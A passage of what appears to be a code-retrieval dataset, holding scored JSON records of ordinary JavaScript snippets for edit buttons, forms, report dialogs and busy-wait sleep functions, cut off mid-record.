submitEditButton = new dijit.form.Button({\n \tlabel: \"Update Field\",\n \t\"class\":\"editSelected-button\",\n \ttype: \"submit\"\n }).placeAt(editForm.containerNode);\n\n var editSelected_status = dojo.create(\"div\",{\"class\":\"editSelected-status\"},editForm.containerNode);\n\n \t//Confirm selected button\n \tvar confirmSelected = new dijit.form.Button({\n \tlabel: \"Confirm Selected Rooms As Correct\",\n \t\"class\":\"editSelected-button\",\n \tonClick: function() {\n \t\tvar grid = pane.grids.grid_R;\n \t\tvar recordID = [];\n \t\tvar gridSelection = grid.selection.getSelected();\n \t\tvar authzdItems = []; //Authorized items\n \t\t\tdojo.forEach(gridSelection,function(selItem){\n \t\t\t\t//console.log(selItem);\n \t\t\t\tvar item_facNum = grid.store.getValue(selItem, \"FACILITY_NUMBER\");\n \t\t\t\tvar item_orgCode = grid.store.getValue(selItem, \"ORGANIZATION\");\n \t\t\t\t//console.log(item_facCode,item_roomNum);\n \t\t\t\tif (checkAuthz(authz, item_facNum, item_orgCode, null)) {\n \t\t\t\t\tvar item_facCode = grid.store.getValue(selItem, \"FACILITY_CODE\");\n \t\t\t\t\tvar item_roomNum = grid.store.getValue(selItem, \"ROOM_NUMBER\");\n \t\t\t\t\trecordID.push({'FACILITY_CODE':item_facCode,'ROOM_NUMBER':item_roomNum});\n \t\t\t\t\tauthzdItems.push(selItem); //Save item to update confirm_date, confirm_user on success\n \t\t\t\t}\n \t\t\t});\n\n \t\t\tif (recordID.length > 0) {\n \t\t\tvar onCurrentDeferred = submitQuery(dojo.toJson(recordID),\"common/php/updateroomconfirm.php\");\n \t\t\tonCurrentDeferred.addCallback(function(data) {\n \t\t\t\tdojo.disconnect(grid.store.onSetListener);\n \t\t\t\tdojo.forEach(authzdItems,function(selItem){\n \t\t\t\tgrid.store.setValue(selItem, 'CONFIRM_DATE', data.value['CONFIRM_DATE']);\n \t\t\t\tgrid.store.setValue(selItem, 'CONFIRM_USER', data.value['CONFIRM_USER']);\n \t\t\t});\n \t\t\t\tgrid.store.save();\n \t\t\t\tgrid.store.onSetListener = dojo.connect(grid.store, \"onSet\", grid.evt.onSetFunction);\n \t\t\t});\n \t\t\tpostClientMessage({\n \t\ttext:\"Updated.\",\n \t\ttype:\"success\"\n \t});\n \t\t}\n \t}\n }).placeAt(editDialogContent_R);\n\n var editSelected = dojo.create(\"div\",{\"class\":\"editSelected-instructions\",innerHTML:\"Selection controls:<ul><li>Ctrl-Click: Add or remove a record from the current selection.</li><li>Shift-Click: Select a range of rows in the table.</li><li>Ctrl-Shift-Click: Add a range of rows to the current selection</li></ul>\"},editDialogContent_R);\n\n return editDialogContent_R;\n }", "title": "" }, { "docid": "f074060de5bddf2e550cf960935b8d41", "score": "0.52334964", "text": "function callEditPayment(index) \n{\n \t\n $(\"#btnSubmitPaymentRecord\").attr(\"indexToEditPayment\", index);\n /*.button(\"refresh\") function forces jQuery\n * Mobile to refresh the text on the button\n */\n $(\"#btnSubmitPaymentRecord\").val(\"Edit Payment\");\n \n if($(\"#btnSubmitPaymentRecord\").hasClass(\"ui-btn-hidden\")) {\n $(\"#btnSubmitPaymentRecord\").button(\"refresh\");\t\n }\t\n}", "title": "" }, { "docid": "d3b7d03dddc6d6e788a477a79fa37022", "score": "0.52188724", "text": "function renderUpdateButton() {\n const headerContainer = document.getElementById('header-container');\n\n const jobId = getJobId();\n if (jobId === '') {\n setErrorMessage('error-message', /* msg= */ STRINGS['error-message'],\n /* includesDefaultMsg= */ false);\n throw new Error('jobId should not be empty');\n }\n\n const updateForm = document.createElement('form');\n updateForm.setAttribute('id', 'update-form');\n updateForm.method = 'GET';\n updateForm.action = UPDATE_JOB_PATH;\n\n const jobIdElement = document.createElement('input');\n jobIdElement.setAttribute('id', 'job-id');\n jobIdElement.setAttribute('type', 'hidden');\n jobIdElement.setAttribute('name', JOB_ID_PARAM);\n jobIdElement.setAttribute('value', jobId);\n updateForm.appendChild(jobIdElement);\n\n const updateButton = document.createElement('input');\n updateButton.setAttribute('id', 'update');\n updateButton.setAttribute('class', 'button');\n updateButton.setAttribute('value', STRINGS['update']);\n updateButton.setAttribute('type', 'submit');\n // in case it was disabled earlier\n updateButton.disabled = false;\n updateForm.appendChild(updateButton);\n\n headerContainer.appendChild(updateForm);\n}", "title": "" }, { "docid": "1873b09c6d1099ab5ead438a409ded2d", "score": "0.5218064", "text": "function show_record(){ \n \n $.ajax({\n url: \"poEntryRecord.htm\",\n type: \"POST\",\n\tcache: false,\n\tasync: false, \n success: function(DdNumber){ \n var result = $.parseJSON(DdNumber);\n var final = \"<div class='table-responsive'><table class='table table-custom row-border hover order-column' id='basic-usage' style='width:100% !important'>\"+ \n \"<thead>\"+ \n \"<tr><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th>Buttons</th></tr></thead>\"+\n \"<thead><tr id='filterrow'><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th></tr></thead>\"+ \n \"<tbody id='table_body'>\";\n var slno = 1; \n $.each(result, function(k, v) {\n final = final +\"<tr class='gradeX'>\"+\n \"<td>\"+ (slno++) +\"</td>\"+\n \"<td>\"+v.poNumber+\"</td><td>\"+v.poDate+\"</td>\"+ \n \"<td>\"+v.indentor+\"</td><td>\"+v.section+\"</td>\"+\n \"<td>\"+v.supplier+\"</td><td>\"+v.remarks+\"</td>\"+\n \"<td><button type='button' class='btn btn-info btn-rounded btn-sm' \"+\n \"id='ButBut' value=\" + v.pOrderEntryID + \">Edit </button></td> \";\n \n });\n final = final + \"</tbody></table></div>\"; \n $(\"#show_table\").html(final);\n \n // Setup - add a text input to each footer cell\n $('#basic-usage thead #filterrow th').not(\":eq(7)\").each( function () {\n var title = $(this).text();\n $(this).html( '<input type=\"text\" />' );\n } );\n \n // DataTable\n var table = $('#basic-usage').DataTable({\n autoWidth: false,\n \"columns\": [\n {title: \"SL No\", width: '8%'},\n {title: \"PO NO\", width: '13%'},\n {title: \"PO Date\", width: '13%'},\n {title: \"Indenter\", width: '13%'},\n {title: \"Section\", width: '13%'},\n {title: \"Vendor\", width: '13%'},\n {title: \"Remarks\", width: '13%'},\n {title: \"Buttons\", width: '12%'},\n ],\n 'aoColumnDefs': [{\n 'bSortable': false,\n 'aTargets': [-1] /* 1st one, start by the right */\n }]\n });\n \n // Apply the search\n $(\"#basic-usage thead input\").on( 'keyup change', function () {\n table\n .column( $(this).parent().index()+':visible' )\n .search( this.value )\n .draw();\n });\n \n \n },complete: function (data) {\n //This is for append data values to form when click on edit button\n $('#basic-usage').on('click', '#ButBut', function () { \n $(\"#poeForm\")[0].reset();\n close_message();\n $.ajax({\n url: \"getPoReleaseReById.htm\",\n type: \"POST\",\n cache: false,\n async: false,\n data: ({poRelease_id: this.value}),\n success: function (htmlH) { \n var result = $.parseJSON(htmlH);\n $.each(result, function (k, v) { \n $(\"#pOrderEntryID\").val(v.pOrderEntryID);\n $(\"#poReleaseType\").val(v.poReleaseType);\n $(\"#poNumber\").val(v.poNumber);\n $('#poNumber').selectpicker('refresh');\n $(\"#date\").val(v.date); \n $(\"#poDate\").val(v.poDate); \n $(\"#scheDelDate\").val(v.scheDelDate); \n $(\"#indentRefNo\").val(v.indentRefNo); \n $(\"#indentor\").val(v.indentor);\n $('#indentor').selectpicker('refresh');\n $(\"#section\").val(v.section);\n $('#section').selectpicker('refresh');\n $(\"#supplier\").val(v.supplier);\n $('#supplier').selectpicker('refresh');\n $(\"#itemsCovered\").val(v.itemsCovered);\n $(\"#remarks\").val(v.remarks);\n $(\"#poValue\").val(v.poValue);\n $(\"#poValPaid\").val(v.poValPaid);\n $(\"#currencyType\").val(v.currencyType);\n $(\"#currencyCode\").val(v.currencyCode);\n $(\"#headOfAccount\").val(v.headOfAccount);\n $('#headOfAccount').selectpicker('refresh');\n $(\"#placeOfDel\").val(v.placeOfDel);\n $(\"#paymentTerms\").val(v.paymentTerms);\n $(\"#payingAuthority\").val(v.payingAuthority);\n });\n $(\"#hide_show\").show();\n $(\"#form_record\").hide();\n $(\"#form_page\").show();\n $(\"#updateDiv\").css(\"display\", \"block\");\n $(\"#saveDdNumber\").css(\"display\", \"none\");\n $(window).scrollTop(0);\n $(\"#puitemstale\").hide();\n }, error: function (jqXHR, textStatus, errorThrown) {\n alert(\"Error :\" + jqXHR.status + \", \" + errorThrown);\n }, complete: function (data) {\n\n }\n });\n\n });\n \n\n }\n\t}); \n }", "title": "" }, { "docid": "48bad2fe6cc1f75ee4731ca5b4d9fc88", "score": "0.52132946", "text": "function btnEditPark(index) {\n // Change action of form\n $(\"#formPark\").attr(\"action\", \"/admin/editPark\");\n\n // Assign id to hidden input\n $('#editParkIdHidden').val(arrayParks[index]._id);\n\n // Hide\n $('#btnParkNew').hide();\n // Show\n $('#btnEditingPark').show();\n $('#formPark').show();\n\n // Fill form with Park data\n fillPark(index);\n}", "title": "" }, { "docid": "75dace592ff1c31a387e258c3bc3f474", "score": "0.5208833", "text": "function editExec(node) {\n\t\tvar href = \"/edit/edit.html#\" + node.file.Location; //$NON-NLS-0$\n\t\twindow.open(href);\n\t}", "title": "" }, { "docid": "80a1f36596a557d0702407f495d2d4ad", "score": "0.52038604", "text": "function handleSubmit(id) {\n setIdEdit(id)\n setEdit(true)\n \n }", "title": "" }, { "docid": "f98a8b1275fcdd3da5fb75175abd70cd", "score": "0.5196135", "text": "function displayReport(reportID) {\n generateSingleReport(reportID); // Intializes report display\n}", "title": "" }, { "docid": "a26c30c95bd7d82b2ec7adaf42b2d84c", "score": "0.51949435", "text": "function showEditPNDiv(irbId) {\r\n jQuery('#editDialogPNField').hide();\r\n jQuery('#pnEditLink').hide();\r\n jQuery('#pnEditDiv').css(\"display\", \"inline-block\");\r\n}", "title": "" }, { "docid": "87ceb88896678ae4ecd1be68d23f8c39", "score": "0.51913214", "text": "function attachToWorkOrder(){\n var grid = View.panels.get('requestReportGrid');\n var records = grid.getPrimaryKeysForSelectedRows(grid);\n if (records.length == 0) {\n alert(getMessage(\"noRecords\"));\n return\n }\n View.WRrecords = records;\n \n View.openDialog(\"ab-helpdesk-request-select-workorder.axvw\", {}, false);\n}", "title": "" }, { "docid": "78031b06783d2edfdd56119712758405", "score": "0.5191053", "text": "function editMarket(marketId){\n window.location = './editMarket.html?market_id='+marketId;\n}", "title": "" }, { "docid": "184620f14e85f3f9035b97fac2bd5bfa", "score": "0.51859665", "text": "function appendEditForm(selectedRowObject) {\n console.log(selectedRowObject.priority);\n $('.modal-title').text('Edit Existing Task');\n $('#task-input').val(selectedRowObject.task);\n $('#category-dropdown').val(selectedRowObject.category);\n $('#priority-dropdown').val(selectedRowObject.priority);\n $('#note-input').val(selectedRowObject.note);\n $('#deadline-input').val(selectedRowObject.deadline);\n $('.modal-footer').replaceWith(`\n <div class=\"modal-footer\">\n <button type=\"button\" class=\"btn btn-success btn-lg\" id=\"update-task-button\" data-dismiss=\"modal\" data-id=\"${selectedRowObject.id}\">Update Task</button>\n </div>\n `);\n}", "title": "" }, { "docid": "30877ae75ca56a9aeeda46f4ad54bd0c", "score": "0.5185615", "text": "function openEditPanel() {\n\n\tuserSettings = supplyAttributeArr(\"please\");\n\n\t//create panel\n\tvar panel = document.createElement('div');\n\tpanel.id = \"settingsPanel\";\n\n\t//create Exit button\n\tvar exitbtn = document.createElement('div');\n\texitbtn.id = \"exit\";\n\texitbtn.appendChild(document.createTextNode(\"\\u{274C}\"));\n\tpanel.appendChild(exitbtn);\n\n\t//create header\n\tvar header = document.createElement('h3');\n\theader.id = \"settingsHeader\";\n\theader.appendChild(document.createTextNode(\"Settings\"));\n\tpanel.appendChild(header);\t\n\n\tvar settingsContainer = document.createElement('div');\n\tsettingsContainer.id = \"settingsContainer\";\n\tfor (var i = 0; i < userSettings.length; i++) {\n\t\tsettingsContainer.appendChild(createSettingTemplate(userSettings[i]));\n\t}\n\tpanel.appendChild(settingsContainer);\n\n\t//create save button\n\tvar savebtn = document.createElement('div');\n\tsavebtn.id = \"savebtn\";\n\tsavebtn.className = \"btn\";\n\tsavebtn.appendChild(document.createTextNode(\"Save\"));\n\tpanel.appendChild(savebtn);\n\t\n\t//bind settings panel to DOM\n\tvar webpage = document.getElementById(\"bodyWrapper\");\n\twebpage.insertAdjacentElement('afterbegin', panel);\n\n\t//add listener to close btn\n\tvar btnEl = document.getElementById(\"exit\");\n\tbtnEl.addEventListener(\"click\", function() {closePanel()});\n\n\t//add listener to save btn\n\tvar btnEl1 = document.getElementById(\"savebtn\");\n\tbtnEl1.addEventListener(\"click\", function() {saveSettings()});\n\n\taddListenerToSettings();\n\n}", "title": "" }, { "docid": "464c387a2ae2023a2a0d379323370a5c", "score": "0.5179082", "text": "function editInformation(){\n //close the edit panel\n document.getElementById(\"my-edit-panel\").style.display = \"none\";\n // save data to local storage\n setUserInfo();\n\n // get data from local storage\n userInfo = getUserInfomation();\n\n // display edited information and intake\n displayInformation(userInfo);\n}", "title": "" }, { "docid": "ee3ce1965970b6e4ba04d262fccf6ed6", "score": "0.5178692", "text": "function editButtonsAndDialogs() {\n $(\".edit_btn\").each(\n function() {\n //get assignment id of this edit button\n assignmentId = $(this).data('assignment-id'); \n //get associated edit dialog\n var dlg = $(\".edit_dialog[data-assignment-id=\" + assignmentId + \"]\");\n \n //open edit dialog when edit button clicked\n $(this).on('click', function() {\n dlg.dialog('open');\n });\n\n //change size of dialog based on viewport\n var viewportWidth = $(window).width();\n if (viewportWidth < 470) {\n dlg.dialog( \"option\", \"width\", viewportWidth - 30);\n $(dlg.find(\"#assignment_description\")).css(\"width\", viewportWidth - 70);\n }\n \n //save data to use later when submit edit form\n dlg.data(\"trigger\", $(this));\n });\n}", "title": "" }, { "docid": "f3859f60d3dd76efb2ceaefb1740c80c", "score": "0.51708555", "text": "function sendReport(event) {\n\tevent.preventDefault();\n\t$('.report_alert').remove();\n\tdisableButtons(['#report_problem button']);\n\t$.post($(this).attr('action'), $(this).serialize(), reportSaved);\n}", "title": "" }, { "docid": "8284fcf045a0689c95b1dcb19246e711", "score": "0.5168941", "text": "showFormForEditTask() {\n newTaskForm.style.display = 'block';\n updateBtn.style.display = 'block';\n addBtn.style.display = 'none';\n ctrlPanel.style.display = 'none';\n }", "title": "" }, { "docid": "84ca2967b2bf3e1b4a606df94990bd50", "score": "0.5167103", "text": "function enableEditing() {\n $('#editBtn').hide();\n $('#viewSetting').prop('disabled', false);\n $('#updateBtn').show();\n $('#titleHeader').text(\"Edit Student Form\");\n}", "title": "" }, { "docid": "666d4ea8990314d366ba380d0f7a055b", "score": "0.5159739", "text": "function sendReports() {\n const button = $('send-reports');\n const previousText = $('send-reports').innerText;\n\n button.disabled = true;\n button.innerText = 'Sending...';\n pageHandler.sendPendingReports().then(() => {\n updatePageData();\n button.disabled = false;\n button.innerText = previousText;\n });\n}", "title": "" }, { "docid": "810459ca96b5a5e1c5e366e5cf7505ab", "score": "0.51565766", "text": "function viewBiuldReportClick(){\n\n var buildNumber = $(this).attr(\"data-build-number\");\n var jobName= $(this).attr(\"data-job-name\");\n var rowIndex = historyObjTable.fnGetPosition( $(this).closest('tr')[0] );\n var totalNum = historyObjTable.fnGetData().length;\n $(buildViewFooter).show();\n $(historyTable+jobName+\"_wrapper\").hide();\n $(buildViewBody).show();\n updateBuildView(buildNumber,jobName,rowIndex,totalNum);\n /* $()*/\n\n}", "title": "" }, { "docid": "716f77d869115f2bc90ec622f9aa1abc", "score": "0.5154169", "text": "function toggleDetails(btn, pressed){\n var view = grid.getView();\n view.showPreview = pressed;\n view.refresh();\n }", "title": "" }, { "docid": "de799bca8110c2d16fdee075e6a5e0aa", "score": "0.5148515", "text": "function putReportData(id)\n{\n repId=id.split(\"-\");// splitting the id to get the report id\n repId=repId[1]; // assigning the report id\n $.ajax({\n url:\"../handlers/labHandler.php\",\n method:\"POST\",\n data:{repId:repId, type:'repData'}, \n dataType:'json',\n success:function(data){\n console.log(data);\n $('#patientId').html(data[0]);\n $('#patientName').html(data[1]);\n $('#reportId').html(data[2]);\n $('#doi').html(data[4]);\n $('#rType').html(data[3]);\n $('#repTypes').html(data[5]);\n\n //View Report Model\n open(modalViewRep);\n\n //Delete the Report\n // $('#deleteRep').click(()=>{\n // if(confirm(\"Are You Sure?\")){\n // deleteRepData(repId);\n // }\n // else{\n // return false;\n // }\n // });\n \n // $(\"#updateRep\").click(()=>{\n // open(modalUpdateRep);\n // close(modalViewRep);\n // $('#repUpID').val(data['id']);\n // $('#repUpType').val(data['type']);\n // $('#repUpFi1').val(data['field1']);\n // $('#repUpFi2').val(data['field2']);\n // $('#repUpFi3').val(data['field3']);\n // $('#repUpFi4').val(data['field4']);\n // $('#repUpFi5').val(data['field5']);\n // })\n\n }\n \n });\n}", "title": "" }, { "docid": "55e8c789b3bc89aaf0022742ba7bf524", "score": "0.51471156", "text": "function reportsDataForModalSuccessHandler(reportsData) {\n UICtrl.openModal(reportsData, eventArr[eventArr.length - 1])\n }", "title": "" }, { "docid": "81acdc5871d3eaa7804860e78eb4cbb3", "score": "0.51450235", "text": "function hideReport(changes) {\n console.log(\"hideReport called!\");\n closeModal(\"reportModal\");\n reportNoteInput.value = \"\"; // Clear the input of notes.\n const customResponse = document.getElementById(\"customResponse\");\n customResponse.setAttribute(\"style\", \"display: none\");\n customResponse.value = \"\";\n\n // When changes have been made\n if (changes) {\n if ((pageID == 1) | (pageID == 2)) {\n clearPages(\"reportList\");\n setupListReports();\n }\n }\n}", "title": "" }, { "docid": "8fec14dc779ae88c92201b5a1a88134b", "score": "0.51442355", "text": "function showOfferCommitmentInfo(htmlfldName, rowno)\r\n{\r\n \tif(rowno)\r\n {\r\n var actMethod = \"showOfferCommitment&rowno=\"+ rowno;\r\n var htmlAreaObj = _getWorkAreaDefaultObj();\r\n var objAjax = htmlAreaObj.getHTMLAjax();\r\n if(objAjax)\r\n {\r\n \t//Tracker# 18555 REGRESSION ISSUE: JAVA SCRIPT ERROR DISPLAY ON TRYING TO VIEW COMMIT VALUES ON MQ OVERVIEW SCREEN.\r\n \t//passing the value for parameter invokeCompOnFocus.\r\n _startSmartTagPopup(htmlfldName, false, null, false, false);\r\n bShowMsg = true;\r\n objAjax.setActionURL(\"materialquoteofferresponse.do\");\r\n objAjax.setActionMethod(actMethod);\r\n objAjax.attribute().setAttribute(\"htmlfldName\", htmlfldName);\r\n // Similar Method to method available in colorlib.js, the POP Up was getting aligned to the Top\r\n // using the regular Smart Tag method. Ex: _showSmartTagPopup, _showSmartTagInteractivePopup\r\n objAjax.setProcessHandler(showCommitmentsPopup);\r\n objAjax.showProcessingBar(false);\r\n objAjax.sendRequest();\r\n }\r\n }\r\n}", "title": "" }, { "docid": "6c2486c9950067e7968a8d530d406213", "score": "0.5139372", "text": "function showEditADDiv(irbId) {\r\n jQuery('#editDialogADField').hide();\r\n jQuery('#adEditLink').hide();\r\n jQuery('#adEditDiv').css(\"display\", \"inline-block\");\r\n}", "title": "" }, { "docid": "711aba5991c8dc8def6970c4f02c670d", "score": "0.5135157", "text": "function edit(uuid) {\r\n\t// pop-up window\r\n\t$('#editDlg').dialog('open');\r\n\r\n\t// load data\r\n\t// first clear form data then load new data\r\n\t$('#editForm').form('clear');\r\n\tmethod = \"update\";\r\n\r\n\t$('#editForm').form('load', name+'_get?id=' + uuid); // 读取表单的URL\r\n\r\n}", "title": "" }, { "docid": "2df04a37877b09de3e7f35326ad45bc9", "score": "0.51332337", "text": "function show_details_request()\n{\n\tRMPApplication.debug (\"begin show_details_request\");\n c_debug(dbug.request, \"=> show_details_request\");\n\tfillPosBox();\n fillPriorityBox();\n\tfillRequestBox();\n\t$(\"#id_selectedModelRow\").show();\n\t$(\"#id_rowButton\").show();\n\tRMPApplication.debug (\"end show_details_request\");\t\n}", "title": "" }, { "docid": "66ee8e51f2190357c80cc9b9aa83c134", "score": "0.51312447", "text": "function handleProjectEditClick(e) {\n var $projectRow = $(this).closest('.project');\n var projectId = $projectRow.data('project-id');\n console.log('projectId to edit', projectId);\n\n // show 'Save Changes' button\n $projectRow.find('.save-project').toggleClass('hidden');\n // hide 'Edit' button\n $projectRow.find('.edit-project').toggleClass('hidden');\n\n // get project name and replace its field with an input element\n var projectName = $projectRow.find('span.project-name').text();\n $projectRow.find('span.project-name').html('<input class=\"edit-project-name\" value=\"' + projectName + '\"></input>');\n\n // get the artist name and replace its field with an input element\n var artistName = $projectRow.find('span.artist-name').text();\n $projectRow.find('span.artist-name').html('<input class=\"edit-artist-name\" value=\"' + artistName + '\"></input>');\n\n // get the releasedate and replace its field with an input element\n var releaseDate = $projectRow.find('span.project-releaseDate').text();\n $projectRow.find('span.project-releaseDate').html('<input class=\"edit-project-releaseDate\" value=\"' + releaseDate + '\"></input>');\n}", "title": "" }, { "docid": "584bb0b36cf0b7469226cdb3213661f0", "score": "0.51273054", "text": "function navigateToAndDisplayExistingReport(folderId, reportId, reportType){\r\n\t\t// lets put the focus on the folder on the right.\r\n\t\tif (tree != null){\r\n\t\t\ttree.expandAll();\r\n\t\t}\r\n\t\tdisplayFolderInExplorer(folderId) ;\r\n\t\t\r\n\t\t// display the folder contents in ContentRight\r\n\t\t//displayFolderContentRight(folderId);\r\n\t\t\r\n\t\t// lets display the folder menu in contentCenterA.\r\n\t\tvar url=\"/GloreeJava2/jsp/Folder/displayRealFolder.jsp?folderId=\"+ folderId;\r\n\t\turl += \"&bustcache=\" + new Date().getTime() ;\r\n\t\t\r\n\t\txmlHttpOPCenterB =GetXmlHttpObject();\r\n\t\txmlHttpOPCenterB.onreadystatechange=function() {\r\n\t\t\tif(xmlHttpOPCenterB.readyState==4){\r\n\t\t\t\tdocument.getElementById(\"contentCenterA\").style.display = \"block\";\r\n\t\t\t\tdocument.getElementById(\"contentCenterA\").innerHTML=xmlHttpOPCenterB.responseText;\r\n\t\t\t\t// now , lets call the displayExistingReport function.\r\n\t\t\t\tdisplayExistingReport(folderId, reportId, reportType);\r\n\t\t\t}\r\n\t\t}\r\n\t\txmlHttpOPCenterB.open(\"GET\",url,true);\r\n\t\txmlHttpOPCenterB.send(null);\t\t\r\n\t}", "title": "" }, { "docid": "bb0bf2a7d050757463151f5bee88d96d", "score": "0.5122897", "text": "function reportSaved(data) {\n\tif (data.errors) {\n\t\tfor (error in data.errors)\n\t\t\talertBefore(data.errors[error], '#group_'+error, 'report_alert', 'danger', '#report_problem');\n\t} else if (data.ok) {\n\t\t$('#id_url').val('');\n\t\t$('#id_ask').val('');\n\t\tdata['newer'] = true;\n\t\tdata['reports'] = data.report;\n\t\treportsReceived(data);\n\t}\n\tenableButtons(['#report_problem button']);\n}", "title": "" }, { "docid": "3cf08427c4060624e781be9b60876c3b", "score": "0.511998", "text": "function callToEdit()\n{\n\tvar id = $(this).children('td:eq(0)').children('div.grid-img').attr('editId');\n\tdocument.location.href = HOST_PATH+\"admin/user/edituser/id/\" + id ;\n\n}", "title": "" }, { "docid": "482bf713bcbb5e2084ad9d80e40e241a", "score": "0.5118372", "text": "editClient(data) {\n\t\tthis.nav_helper_edit(data);\n\t\t/*if(data.itemSummaryDpn!=undefined) {\n\t\t\tutil.elementClickable(this.itemSummaryChkbox);\n\t\t\tutil.selectDropDown(this.itemSummaryDpn,data,itemSummaryDpn,'item Summary Dpn','Edit Client')\n\t\t}*/\n\t\t// if(data.itemDetailDpn!=undefined) {\n\t\t// \tthis.detailSummaryChkbox.click();\n\t\t// \tutil.selectDropDown(this.itemDetailDpn,data.itemDetailDpn,'item Summary Dpn','Edit Client')\n\t\t// }\n\t\t// browser.sleep(2000)\n\t\t// this.nextBtn.click()\n\t\treturn util.resultMessage(data.TestResultType);\n\t}", "title": "" }, { "docid": "648fd8b818177d20413eb6d7949a818e", "score": "0.5116924", "text": "function showDetails()\n{\n let form = this.form;\n let rownum = this.id.substring(7);\n let domain, volume, reportNo, element;\n\n if (form.Domain && form.Domain.value != '')\n domain = form.Domain.value;\n else\n {\n element = form.elements['Domain' + rownum];\n if (element)\n domain = element.value;\n else\n alert(\"showDetails: cannot find Domain field elements['Domain\" +rownum + \"']\");\n }\n\n if (form.Volume && form.Volume.value != '')\n volume = form.Volume.value;\n else\n {\n element = form.elements['Volume' + rownum];\n if (element)\n volume = element.value;\n else\n alert(\"showDetails: cannot find Volume field elements['Volume\" +rownum + \"']\");\n }\n\n if (form.ReportNo && form.ReportNo.value != '')\n reportNo = form.ReportNo.value;\n else\n {\n element = form.elements['ReportNo' + rownum];\n if (element)\n reportNo = element.value;\n else\n alert(\"showDetails: cannot find ReportNo field elements['ReportNo\" +rownum + \"']\");\n }\n\n let itemNo = form.elements['ItemNo' + rownum].value;\n let script;\n if (domain == 'CAUC')\n script = 'DistrictMarriagesEdit.php?Domain=' + domain +\n '&Volume=' + volume +\n '&ReportNo=' + reportNo +\n '&ItemNo=' + itemNo;\n else\n script = 'CountyMarriagesEdit.php?Domain=' + domain +\n '&Volume=' + volume +\n '&ReportNo=' + reportNo +\n '&ItemNo=' + itemNo;\n\n location = script;\n return false;\n}", "title": "" } ]
a0ab7a523366a95ea4863253abc92313
Takes in a 1 to sleep.
[ { "docid": "6e73fb40616e8a7f42915eb6cad36e29", "score": "0.0", "text": "sleepFor10(first) {\n var context = this;\n var action;\n if(first == 1) {\n console.log(\"1\");\n setTimeout(function() {\n context.sleepFor10(0);\n }, 300);\n } else {\n action = this.chart.query(this.hitOrStandOnly());\n if (action == 10 || typeof action == 'undefined' ) {\n this.sleepFor10(1);\n } else {\n this.queryResult = action;\n }\n }\n console.log(\"------------------------timer ----\");\n }", "title": "" } ]
[ { "docid": "fc80913311385322699ba56523e1a261", "score": "0.81206524", "text": "function sleep() {\n Thread.sleep(500);\n}", "title": "" }, { "docid": "4dfe25f76b908a547641f1dfa7f20be3", "score": "0.7703249", "text": "function sleep(delay) {\r\n var start = new Date().getTime();\r\n while (new Date().getTime() < start + delay)\r\n ;\r\n}", "title": "" }, { "docid": "88339912584732bd6601020fa58ba461", "score": "0.7678106", "text": "function sleep(delay)\n{\n var start = new Date().getTime();\n while (new Date().getTime() < start + delay);\n}", "title": "" }, { "docid": "5f426fb88d2e78a718acceef724a207d", "score": "0.7660317", "text": "function sleep(ms) {\n\t sleepus(ms * 1000);\n\t}", "title": "" }, { "docid": "21883913d731d766503b0cefe5ca2d11", "score": "0.7648452", "text": "function sleep(s) {\n var e = new Date().getTime() + (s * 1000);\n\n while (new Date().getTime() <= e) {\n ;\n }\n }", "title": "" }, { "docid": "3f4b70641c700acd6f7843ff1f493676", "score": "0.7565215", "text": "function sleep(delay) {\n var start = new Date().getTime();\n while (new Date().getTime() < start + delay);\n}", "title": "" }, { "docid": "91b73915f16e177b2457d77bc8cb138d", "score": "0.7538527", "text": "function sleep(miliseconds) \r\n{\r\n var currentTime = new Date().getTime();\r\n while (currentTime + miliseconds >= new Date().getTime())\r\n\t{\r\n }\r\n}", "title": "" }, { "docid": "b1e6694be0b42f8eed0092f48ecc6e45", "score": "0.75144255", "text": "function sleep(ms)\r\n{\r\n\tvar dt = new Date();\r\n\tdt.setTime(dt.getTime() + ms);\r\n\twhile (new Date().getTime() < dt.getTime());\r\n}", "title": "" }, { "docid": "c8f2d95a99bda91e359d0da33bad077b", "score": "0.7487833", "text": "function sleep (delay) {\n var start = new Date().getTime();\n while (new Date().getTime() < start + delay);\n}", "title": "" }, { "docid": "c8f2d95a99bda91e359d0da33bad077b", "score": "0.7487833", "text": "function sleep (delay) {\n var start = new Date().getTime();\n while (new Date().getTime() < start + delay);\n}", "title": "" }, { "docid": "678b5abd81c50f161090aff729a84094", "score": "0.7486304", "text": "function sleep(delay) {\n\tvar start = new Date().getTime();\n\twhile (new Date().getTime() < start + delay)\n\t\t;\n}", "title": "" }, { "docid": "04b5db1b15430fbb5b31209a1c27597f", "score": "0.7456357", "text": "function sleep(time) {\n var stop = new Date().getTime();\n while (new Date().getTime() < stop + parseInt(time)) {\n\n }\n }", "title": "" }, { "docid": "def003ee432983f63e73a157a349095c", "score": "0.7436894", "text": "function sleep(ms) {\nvar start = Date.now(), now = start;\n\n\twhile (now - start < ms) {\n\t\tnow = Date.now();\n\t}\n}", "title": "" }, { "docid": "0eae4da8380fcd0a61fe4b1c2dd21914", "score": "0.7416228", "text": "function sleep(miliseconds) {\n var currentTime = new Date().getTime();\n\n while (currentTime + miliseconds >= new Date().getTime()) {\n }\n}", "title": "" }, { "docid": "3ca93c8afbe822033275f50a578306c1", "score": "0.7368144", "text": "function sleep (time) {\n var now = new Date().getTime();\n while (new Date().getTime() < now + time) { /* do nothing */\n }\n}", "title": "" }, { "docid": "0d4614eb08f0b80a60250fe0373958a7", "score": "0.7362735", "text": "function sleep(time) {\n var stop = new Date().getTime();\n while (new Date().getTime() < stop + time) {\n ;\n }\n}", "title": "" }, { "docid": "8059669682bd734a4a6b05e08bd4affb", "score": "0.73526555", "text": "function sleep(milliSeconds){\n\tvar startTime = new Date().getTime(); \n\twhile (new Date().getTime() < startTime + milliSeconds); \n}", "title": "" }, { "docid": "cbf410e06a895fd049ea673b1a180d31", "score": "0.7326067", "text": "function sleep(time) {\n\tlet _time = new Date();\n\tlet currentTime = null;\n\tdo {\n\t\tcurrentTime = new Date();\n\t} while (currentTime - _time < time);\n}", "title": "" }, { "docid": "5d55a17d6405ecf2ee7e98810a46f5b6", "score": "0.73220253", "text": "function sleep(millisecond) {\n java.lang.Thread.sleep(millisecond);\n}", "title": "" }, { "docid": "64b867f1a91bfb7c09a86035ced92f93", "score": "0.73182255", "text": "function sleep(seconds) {\r\n\tPackages.java.lang.Thread.sleep(Math.floor(1000 * seconds))\r\n}", "title": "" }, { "docid": "8fe2fd28bb781d9c9dcf2059e2bc524c", "score": "0.7261466", "text": "function sleep(milliSeconds) {\r\n var startTime = new Date().getTime(); // get the current time\r\n while (new Date().getTime() < 